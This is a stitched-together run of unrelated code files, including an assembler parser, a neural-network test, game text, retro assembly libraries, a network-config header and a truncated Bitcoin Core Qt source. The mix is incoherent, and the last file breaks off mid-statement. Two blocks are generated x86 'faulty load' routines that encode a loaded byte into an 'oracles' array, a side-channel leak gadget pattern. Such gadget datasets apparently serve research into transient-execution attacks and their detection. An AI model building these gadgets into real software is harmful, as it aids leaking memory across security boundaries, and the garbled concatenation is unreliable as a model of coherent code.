(tokens_.empty()) { EndOfLineError(*node->mnemonic()); visit_success_ = false; return; } if (!ParseExpression(false, node->mutable_expression())) { visit_success_ = false; return; } } void Parser::VisitNode(node::DirectiveStart* node) { if (node->label() == nullptr) { error_db_->AddError(ErrorDB::ERROR, "program name required before START directive", node->mnemonic()->pos()); visit_success_ = false; return; } if (node->label()->value().size() > 6) { error_db_->AddError(ErrorDB::ERROR, "program name length is limited to 6 characters", node->label()->pos()); visit_success_ = false; return; } VisitExpressionDirective(node); } void Parser::VisitNode(node::DirectiveEnd* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } VisitExpressionDirective(node); } void Parser::VisitNode(node::DirectiveOrg* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } VisitExpressionDirective(node); } void Parser::VisitNode(node::DirectiveEqu* node) { if (node->label() == nullptr) { error_db_->AddError(ErrorDB::ERROR, "symbol name required before EQU directive", node->mnemonic()->pos()); visit_success_ = false; return; } if (!tokens_.empty() && tokens_.front()->type() == Token::OPERATOR && tokens_.front()->operator_id() == Token::OP_MUL) { tokens_.pop_front(); node->set_assign_current_address(true); } else { VisitExpressionDirective(node); } } void Parser::VisitNode(node::DirectiveUse* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } if (!tokens_.empty()) { unique_ptr<Token> block_name(std::move(tokens_.front())); tokens_.pop_front(); if (block_name->type() != Token::NAME) { error_db_->AddError(ErrorDB::ERROR, "expected block name", block_name->pos()); visit_success_ = false; return; } node->set_block_name(block_name.release()); } } void Parser::VisitNode(node::DirectiveLtorg* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } } void Parser::VisitNode(node::DirectiveBase* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } VisitExpressionDirective(node); } void Parser::VisitNode(node::DirectiveNobase* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } } void Parser::VisitSymbolListDirective(node::SymbolListDirective* node) { if (tokens_.empty()) { EndOfLineError(*node->mnemonic()); visit_success_ = false; return; } unique_ptr<Token> token; while (true) { token = std::move(tokens_.front()); tokens_.pop_front(); if (token->type() != Token::NAME) { error_db_->AddError(ErrorDB::ERROR, "expected symbol name", token->pos()); visit_success_ = false; return; } if (token->value().size() > 6) { error_db_->AddError(ErrorDB::ERROR, "external symbol name length is limited to 6 characters", token->pos()); visit_success_ = false; } node->mutable_symbol_list()->emplace_back(std::move(token)); if (tokens_.empty()) { break; } token = std::move(tokens_.front()); tokens_.pop_front(); if (token->type() != Token::OPERATOR || token->operator_id() != Token::OP_COMMA) { error_db_->AddError(ErrorDB::ERROR, "expected ','", token->pos()); visit_success_ = false; return; } if (tokens_.empty()) { EndOfLineError(*token); visit_success_ = false; return; } } } void Parser::VisitNode(node::DirectiveExtdef* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } VisitSymbolListDirective(node); } void Parser::VisitNode(node::DirectiveExtref* node) { if (node->label() != nullptr) { LabelNotAllowedError(*node->label()); visit_success_ = false; return; } VisitSymbolListDirective(node); } void Parser::VisitNode(node::DirectiveMemInit* node) { if (!tokens_.empty() && (tokens_.front()->type() == Token::DATA_BIN || tokens_.front()->type() == Token::DATA_FLOAT)) { node->set_data_token(tokens_.front().release()); tokens_.pop_front(); } else { VisitExpressionDirective(node); } } void Parser::VisitNode(node::DirectiveMemReserve* node) { VisitExpressionDirective(node); } void Parser::VisitNode(node::DirectiveInternalLiteral*) { assert(false); } void Parser::EndOfLineError(const Token& last_token) { const TextFile::Position& pos = last_token.pos(); error_db_->AddError(ErrorDB::ERROR, "unexpected end of line", TextFile::Position(pos.row, pos.column + pos.size - 1, 1)); } void Parser::LabelNotAllowedError(const Token& label) { error_db_->AddError(ErrorDB::ERROR, "label not allowed before this directive", label.pos()); } } // namespace assembler } // namespace sicxe
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 lea addresses_WT_ht+0x48b4, %r10 nop nop nop nop and %r12, %r12 movb $0x61, (%r10) nop nop nop and %r10, %r10 pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rax push %rbp push %rbx push %rdi // Store mov $0x3c4, %r11 nop cmp %r8, %r8 movb $0x51, (%r11) nop nop add %rbx, %rbx // Store lea addresses_normal+0x12894, %rbp nop nop nop nop and %rax, %rax mov $0x5152535455565758, %r15 movq %r15, %xmm3 vmovntdq %ymm3, (%rbp) nop nop nop dec %r8 // Store lea addresses_WC+0x12c94, %r8 nop nop nop nop nop add %r11, %r11 mov $0x5152535455565758, %r15 movq %r15, (%r8) nop nop nop add %rbx, %rbx // Faulty Load lea addresses_normal+0x14c94, %rax cmp %r8, %r8 vmovups (%rax), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbp lea oracles, %r8 and $0xff, %rbp shlq $12, %rbp mov (%r8,%rbp,1), %rbp pop %rdi pop %rbx pop %rbp pop %rax pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}} {'34': 5} 34 34 34 34 34 */
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #include "ngraph_functions/builders.hpp" #include "common_test_utils/common_utils.hpp" #include "shared_test_classes/single_layer/softmax.hpp" namespace ov { namespace test { namespace subgraph { std::string SoftMaxLayerTest::getTestCaseName(const testing::TestParamInfo<SoftMaxTestParams>& obj) { ElementType netType, inType, outType; InputShape shapes; size_t axis; TargetDevice targetDevice; Config config; std::tie(netType, inType, outType, shapes, axis, targetDevice, config) = obj.param; std::ostringstream result; result << "NetType=" << netType << "_"; result << "InType=" << inType << "_"; result << "OutType=" << outType << "_"; result << "IS=" << CommonTestUtils::partialShape2str({shapes.first}) << "_"; result << "TS="; for (const auto& item : shapes.second) { result << CommonTestUtils::vec2str(item) << "_"; } result << "Axis=" << axis << "_"; result << "Device=" << targetDevice; return result.str(); } void SoftMaxLayerTest::SetUp() { InputShape shapes; ElementType ngPrc; size_t axis; std::tie(ngPrc, inType, outType, shapes, axis, targetDevice, configuration) = GetParam(); init_input_shapes({shapes}); const auto params = ngraph::builder::makeDynamicParams(ngPrc, inputDynamicShapes); const auto paramOuts = ngraph::helpers::convert2OutputVector(ngraph::helpers::castOps2Nodes<ngraph::op::Parameter>(params)); const auto softMax = std::make_shared<ngraph::opset1::Softmax>(paramOuts.at(0), axis); const ngraph::ResultVector results {std::make_shared<ngraph::opset1::Result>(softMax)}; function = std::make_shared<ngraph::Function>(results, params, "softMax"); } } // namespace subgraph } // namespace test } // namespace ov
db "ARMOR@" ; species name db "Because this" next "#MON's skin is" next "so tough, a normal" page "attack won't even" next "leave a scratch on" next "it.@"
; A178947: Expansion of x*(1+2*x+8*x^2+3*x^4+4*x^3) / ( (1+x)^2*(x-1)^4 ). ; 1,4,17,38,81,138,229,340,497,680,921,1194,1537,1918,2381,2888,3489,4140,4897,5710,6641,7634,8757,9948,11281,12688,14249,15890,17697,19590,21661,23824,26177,28628,31281,34038,37009,40090,43397,46820,50481,54264,58297,62458,66881,71438,76269,81240,86497,91900,97601,103454,109617,115938,122581,129388,136529,143840,151497,159330,167521,175894,184637,193568,202881,212388,222289,232390,242897,253610,264741,276084,287857,299848,312281,324938,338049,351390,365197,379240,393761,408524,423777,439278,455281,471538,488309,505340,522897,540720,559081,577714,596897,616358,636381,656688,677569,698740,720497,742550 mov $2,$0 add $2,1 mov $7,$0 lpb $2 mov $0,$7 sub $2,1 sub $0,$2 mov $4,$0 mov $9,0 mov $10,$0 add $10,1 lpb $10 mov $0,$4 sub $10,1 sub $0,$10 mul $0,3 mov $3,$8 mov $5,6 gcd $5,$0 mul $0,$5 sub $0,2 sub $0,$5 div $0,3 pow $6,$8 add $0,$6 add $0,4 add $3,$0 add $3,10 add $3,$6 trn $3,16 add $3,1 add $9,$3 lpe add $1,$9 lpe mov $0,$1
INCLUDE MACRO.ASM EXTRN _GET_MOUSE_STATE:FAR EXTRN _INIT_MOUSE:FAR EXTRN _INIT_FRAME:FAR EXTRN _GET_ACTION:FAR CODE SEGMENT ASSUME CS:CODE __SET_DISPLAY_MODE 12H CALL _INIT_FRAME CALL _INIT_MOUSE LOOP1: CALL _GET_MOUSE_STATE CALL _GET_ACTION JMP LOOP1 CODE ENDS END
#pragma once #include <unordered_map> #include <string> #include <chrono> #include <map> #include <cpptoml.hpp> #include "lib/ip.hpp" class Interface; class Route; class Node; class MB_App; class NetFilter; class IPVS; class Squid; class Middlebox; class Link; class Network; class ConnSpec; class Policy; class ReachabilityPolicy; class ReplyReachabilityPolicy; class WaypointPolicy; class OneRequestPolicy; class LoadBalancePolicy; class ConditionalPolicy; class ConsistencyPolicy; class Policies; class OpenflowProcess; class Config { private: /* config file table (not thread-safe) */ static std::unordered_map<std::string, std::shared_ptr<cpptoml::table>> configs; /* packet latency estimate */ static std::chrono::microseconds latency_avg, latency_mdev; static bool got_latency_estimate; /* generic network node */ static void parse_interface(Interface *, const std::shared_ptr<cpptoml::table>&); static void parse_route(Route *, const std::shared_ptr<cpptoml::table>&); static void parse_node(Node *, const std::shared_ptr<cpptoml::table>&); /* middleboxes */ static void parse_appliance_config(MB_App *, const std::string&); static void parse_netfilter(NetFilter *, const std::shared_ptr<cpptoml::table>&); static void parse_ipvs(IPVS *, const std::shared_ptr<cpptoml::table>&); static void parse_squid(Squid *, const std::shared_ptr<cpptoml::table>&); static void parse_middlebox(Middlebox *, const std::shared_ptr<cpptoml::table>&, bool); static void estimate_latency(); /* network link */ static void parse_link(Link *, const std::shared_ptr<cpptoml::table>&, const std::map<std::string, Node *>&); /* connection */ static void parse_conn_spec(ConnSpec *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_connections(Policy *, const std::shared_ptr<cpptoml::table>&, const Network&); /* single-connection policies */ static void parse_reachabilitypolicy(ReachabilityPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_replyreachabilitypolicy(ReplyReachabilityPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_waypointpolicy(WaypointPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); /* multi-connection policies */ static void parse_onerequestpolicy(OneRequestPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_loadbalancepolicy(LoadBalancePolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); /* policies with multiple correlated sub-policies */ static void parse_correlated_policies(Policy *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_conditionalpolicy(ConditionalPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); static void parse_consistencypolicy(ConsistencyPolicy *, const std::shared_ptr<cpptoml::table>&, const Network&); /* helper function for parsing policy array to a vector */ static void parse_policy_array(std::vector<Policy *>&, bool correlated, const std::shared_ptr<cpptoml::table_array>&, const Network&); /* openflow updates */ static void parse_openflow_update(Node **, Route *, const std::shared_ptr<cpptoml::table>&, const Network&); public: static void start_parsing(const std::string& filename); static void finish_parsing(const std::string& filename); static void parse_network(Network *network, const std::string& filename, bool dropmon = false); static void parse_policies(Policies *policies, const std::string& filename, const Network& network); static void parse_openflow(OpenflowProcess *openflow, const std::string& filename, const Network& network); };
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x7496, %rcx and $19890, %r12 movl $0x61626364, (%rcx) nop nop xor $64553, %rax lea addresses_A_ht+0xcc96, %rsi lea addresses_normal_ht+0xc5e, %rdi nop nop nop nop sub %rbx, %rbx mov $99, %rcx rep movsq nop nop nop add %rax, %rax lea addresses_normal_ht+0x1d496, %rbx nop xor $17403, %rcx mov $0x6162636465666768, %r12 movq %r12, %xmm2 vmovups %ymm2, (%rbx) nop nop nop nop nop xor $56263, %rax lea addresses_UC_ht+0x14f36, %r12 nop nop inc %rax and $0xffffffffffffffc0, %r12 vmovntdqa (%r12), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rsi nop nop cmp %r12, %r12 lea addresses_D_ht+0x2df6, %rcx clflush (%rcx) nop nop nop xor %rbx, %rbx mov (%rcx), %edi nop nop nop xor $6859, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %rax push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0xa296, %rsi lea addresses_normal+0x5226, %rdi nop nop nop nop nop inc %rbx mov $90, %rcx rep movsl nop nop nop add %rsi, %rsi // Store lea addresses_D+0x5596, %rdi nop nop nop nop nop xor $14410, %r11 movl $0x51525354, (%rdi) sub $28681, %r10 // Load lea addresses_normal+0x5006, %rdi clflush (%rdi) nop xor %rcx, %rcx vmovups (%rdi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %r11 nop xor %r10, %r10 // Load mov $0x7962540000000674, %rbx xor %r11, %r11 movb (%rbx), %r10b nop sub $1565, %rdi // Faulty Load mov $0x7632700000000a96, %r11 nop nop nop dec %rdi mov (%r11), %ax lea oracles, %rdi and $0xff, %rax shlq $12, %rax mov (%rdi,%rax,1), %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; ; Generic game device library ; Stefano Bodrato - 20/8/2001 ; ; $Id: joystick.asm,v 1.2 2002/04/17 21:30:23 dom Exp $ ; XLIB joystick LIB getk .joystick ld ix,0 add ix,sp ld a,(ix+2) cp 1 ; Stick emulation 1 (qaop-mn) jr nz,j_no1 call getk ld a,l ld l,0 or @00100000 ; TO_LOWER cp 'm' jr nz,no_fire1 set 4,l jr j_done .no_fire1 cp 'n' jr nz,no_fire2 set 5,l jr j_done .no_fire2 cp 'q' jr nz,no_up set 3,l jr j_done .no_up cp 'a' jr nz,no_down set 2,l jr j_done .no_down cp 'o' jr nz,no_left set 1,l jr j_done .no_left cp 'p' jr nz,no_right set 0,l .no_right jr j_done .j_no1 cp 2 ; Stick emulation 2 (8246-05) jr nz,j_no2 call getk ld a,l ld l,0 cp '0' jr nz,no_fire1_a set 4,l jr j_done .no_fire1_a cp '5' jr nz,no_fire2_a set 5,l jr j_done .no_fire2_a cp '8' jr nz,no_up_a set 3,l jr j_done .no_up_a cp '2' jr nz,no_down_a set 2,l jr j_done .no_down_a cp '4' jr nz,no_left_a set 1,l jr j_done .no_left_a cp '6' jr nz,no_right_a set 0,l .no_right_a jr j_done .j_no2 xor a .j_done ret
; ------- console-graphic library -------------- ; 16.02.2020 ; - added 'draw_rect' ; 16.02.2020 ; - added a check to 'draw_bitmap' to prevent it from drawing outside the screen ; 16.02.2020 ; - fixed an issue where a bordering bit would break 'draw_image' ; 16.02.2020 ; --- draws the bitmap at [bx] with (ch*8) cols and (cl) rows at position (dx) ; (dh) => row ; (dl) => col ; (ch) => width * 8 ; (cl) => height draw_bitmap: push ax push bx push cx push dx mov al, ch mov ah, 0x0 ; store cols mov ch, 0x0 ; store rows draw_bitmap__all_rows: cmp dh, 0 ; check boundries jl draw_bitmap__all_rows_1 cmp dh, 23 jg draw_bitmap__all_rows_1 call set_cursor ; draw row push cx mov cl, al call draw_bitmap__row pop cx draw_bitmap__all_rows_1: inc dh ; mov to next line loop draw_bitmap__all_rows pop dx pop cx pop bx pop ax ret draw_bitmap__row: push ax push dx cmp dl, 0 ; check boundries jl draw_bitmap__row_1 cmp dl, 72 jg draw_bitmap__row_1 mov ah, 0x0 mov al, byte [bx] call draw_bitmap__byte draw_bitmap__row_1: add bx, 1 add dl, 1 loop draw_bitmap__row pop dx pop ax ret draw_bitmap__byte: push cx mov cx, 8 draw_bitmap__byte_repeat: shl al, 1 ; check leftmost bit if set push ax jnc draw_bitmap__byte_skip ; then draw '+'' mov al, '+' call print_char pop ax loop draw_bitmap__byte_repeat jmp draw_bitmap__byte_end draw_bitmap__byte_skip: ; else draw ' ' mov al, ' ' call print_char pop ax loop draw_bitmap__byte_repeat draw_bitmap__byte_end: pop cx ret ; --- draws a rect at ; !!! needs massive improvement ; (dh) => row ; (dl) => col ; (ch) => width ; (cl) => height ; (al) => character to draw draw_rect: push ax push bx push cx push dx mov bl, ch mov bh, 0x0 draw_rect__lines: push dx push cx mov ch, 0x0 mov cl, bl ; set cx to width call draw_rect__horizontal pop cx pop dx push dx push cx add dh, cl ; mov curser to the bottom mov ch, 0x0 mov cl, bl ; set cx to width call draw_rect__horizontal pop cx pop dx push dx push cx mov ch, 0x0 call draw_rect__vertical pop cx pop dx push dx push cx add dl, ch ; mov curser to the right mov ch, 0x0 call draw_rect__vertical pop cx pop dx ; pop dx pop cx pop bx pop ax ret draw_rect__horizontal: push cx push dx draw_rect__horizontal_repeat: call set_cursor call print_char inc dl loop draw_rect__horizontal_repeat pop dx pop cx ret draw_rect__vertical: push cx push dx draw_rect__vertical_repeat: call set_cursor call print_char inc dh loop draw_rect__vertical_repeat pop dx pop cx ret
// Copyright (c) 2011-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include <config/bitcoin-config.h> #endif #include <qt/bitcoingui.h> #include <chainparams.h> #include <qt/clientmodel.h> #include <fs.h> #include <qt/guiconstants.h> #include <qt/guiutil.h> #include <qt/intro.h> #include <qt/networkstyle.h> #include <qt/optionsmodel.h> #include <qt/platformstyle.h> #include <qt/splashscreen.h> #include <qt/utilitydialog.h> #include <qt/winshutdownmonitor.h> #ifdef ENABLE_WALLET #include <qt/paymentserver.h> #include <qt/walletmodel.h> #endif #include <init.h> #include <rpc/server.h> #include <ui_interface.h> #include <util.h> #include <warnings.h> #ifdef ENABLE_WALLET #include <wallet/wallet.h> #endif #include <stdint.h> #include <boost/thread.hpp> #include <QApplication> #include <QDebug> #include <QLibraryInfo> #include <QLocale> #include <QMessageBox> #include <QSettings> #include <QThread> #include <QTimer> #include <QTranslator> #include <QSslConfiguration> #if defined(QT_STATICPLUGIN) #include <QtPlugin> #if QT_VERSION < 0x050000 Q_IMPORT_PLUGIN(qcncodecs) Q_IMPORT_PLUGIN(qjpcodecs) Q_IMPORT_PLUGIN(qtwcodecs) Q_IMPORT_PLUGIN(qkrcodecs) Q_IMPORT_PLUGIN(qtaccessiblewidgets) #else #if QT_VERSION < 0x050400 Q_IMPORT_PLUGIN(AccessibleFactory) #endif #if defined(QT_QPA_PLATFORM_XCB) Q_IMPORT_PLUGIN(QXcbIntegrationPlugin); #elif defined(QT_QPA_PLATFORM_WINDOWS) Q_IMPORT_PLUGIN(QWindowsIntegrationPlugin); #elif defined(QT_QPA_PLATFORM_COCOA) Q_IMPORT_PLUGIN(QCocoaIntegrationPlugin); #endif #endif #endif #if QT_VERSION < 0x050000 #include <QTextCodec> #endif // Declare meta types used for QMetaObject::invokeMethod Q_DECLARE_METATYPE(bool*) Q_DECLARE_METATYPE(CAmount) static void InitMessage(const std::string &message) { LogPrintf("init message: %s\n", message); } /* Translate string to current locale using Qt. */ static std::string Translate(const char* psz) { return QCoreApplication::translate("bitcoin-core", psz).toStdString(); } static QString GetLangTerritory() { QSettings settings; // Get desired locale (e.g. "de_DE") // 1) System default language QString lang_territory = QLocale::system().name(); // 2) Language from QSettings QString lang_territory_qsettings = settings.value("language", "").toString(); if(!lang_territory_qsettings.isEmpty()) lang_territory = lang_territory_qsettings; // 3) -lang command line argument lang_territory = QString::fromStdString(gArgs.GetArg("-lang", lang_territory.toStdString())); return lang_territory; } /** Set up translations */ static void initTranslations(QTranslator &qtTranslatorBase, QTranslator &qtTranslator, QTranslator &translatorBase, QTranslator &translator) { // Remove old translators QApplication::removeTranslator(&qtTranslatorBase); QApplication::removeTranslator(&qtTranslator); QApplication::removeTranslator(&translatorBase); QApplication::removeTranslator(&translator); // Get desired locale (e.g. "de_DE") // 1) System default language QString lang_territory = GetLangTerritory(); // Convert to "de" only by truncating "_DE" QString lang = lang_territory; lang.truncate(lang_territory.lastIndexOf('_')); // Load language files for configured locale: // - First load the translator for the base language, without territory // - Then load the more specific locale translator // Load e.g. qt_de.qm if (qtTranslatorBase.load("qt_" + lang, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) QApplication::installTranslator(&qtTranslatorBase); // Load e.g. qt_de_DE.qm if (qtTranslator.load("qt_" + lang_territory, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) QApplication::installTranslator(&qtTranslator); // Load e.g. bitcoin_de.qm (shortcut "de" needs to be defined in bitcoin.qrc) if (translatorBase.load(lang, ":/translations/")) QApplication::installTranslator(&translatorBase); // Load e.g. bitcoin_de_DE.qm (shortcut "de_DE" needs to be defined in bitcoin.qrc) if (translator.load(lang_territory, ":/translations/")) QApplication::installTranslator(&translator); } /* qDebug() message handler --> debug.log */ #if QT_VERSION < 0x050000 void DebugMessageHandler(QtMsgType type, const char *msg) { if (type == QtDebugMsg) { LogPrint(BCLog::QT, "GUI: %s\n", msg); } else { LogPrintf("GUI: %s\n", msg); } } #else void DebugMessageHandler(QtMsgType type, const QMessageLogContext& context, const QString &msg) { Q_UNUSED(context); if (type == QtDebugMsg) { LogPrint(BCLog::QT, "GUI: %s\n", msg.toStdString()); } else { LogPrintf("GUI: %s\n", msg.toStdString()); } } #endif /** Class encapsulating Bitcoin Core startup and shutdown. * Allows running startup and shutdown in a different thread from the UI thread. */ class BitcoinCore: public QObject { Q_OBJECT public: explicit BitcoinCore(); /** Basic initialization, before starting initialization/shutdown thread. * Return true on success. */ static bool baseInitialize(); public Q_SLOTS: void initialize(); void shutdown(); Q_SIGNALS: void initializeResult(bool success); void shutdownResult(); void runawayException(const QString &message); private: /// Pass fatal exception message to UI thread void handleRunawayException(const std::exception *e); }; /** Main Bitcoin application object */ class BitcoinApplication: public QApplication { Q_OBJECT public: explicit BitcoinApplication(int &argc, char **argv); ~BitcoinApplication(); #ifdef ENABLE_WALLET /// Create payment server void createPaymentServer(); #endif /// parameter interaction/setup based on rules void parameterSetup(); /// Create options model void createOptionsModel(bool resetSettings); /// Create main window void createWindow(const NetworkStyle *networkStyle); /// Create splash screen void createSplashScreen(const NetworkStyle *networkStyle); /// Request core initialization void requestInitialize(); /// Request core shutdown void requestShutdown(); /// Get process return value int getReturnValue() const { return returnValue; } /// Get window identifier of QMainWindow (BitcoinGUI) WId getMainWinId() const; public Q_SLOTS: void initializeResult(bool success); void shutdownResult(); /// Handle runaway exceptions. Shows a message box with the problem and quits the program. void handleRunawayException(const QString &message); Q_SIGNALS: void requestedInitialize(); void requestedShutdown(); void stopThread(); void splashFinished(QWidget *window); private: QThread *coreThread; OptionsModel *optionsModel; ClientModel *clientModel; BitcoinGUI *window; QTimer *pollShutdownTimer; #ifdef ENABLE_WALLET PaymentServer* paymentServer; WalletModel *walletModel; #endif int returnValue; const PlatformStyle *platformStyle; std::unique_ptr<QWidget> shutdownWindow; void startThread(); }; #include <qt/bitcoin.moc> BitcoinCore::BitcoinCore(): QObject() { } void BitcoinCore::handleRunawayException(const std::exception *e) { PrintExceptionContinue(e, "Runaway exception"); Q_EMIT 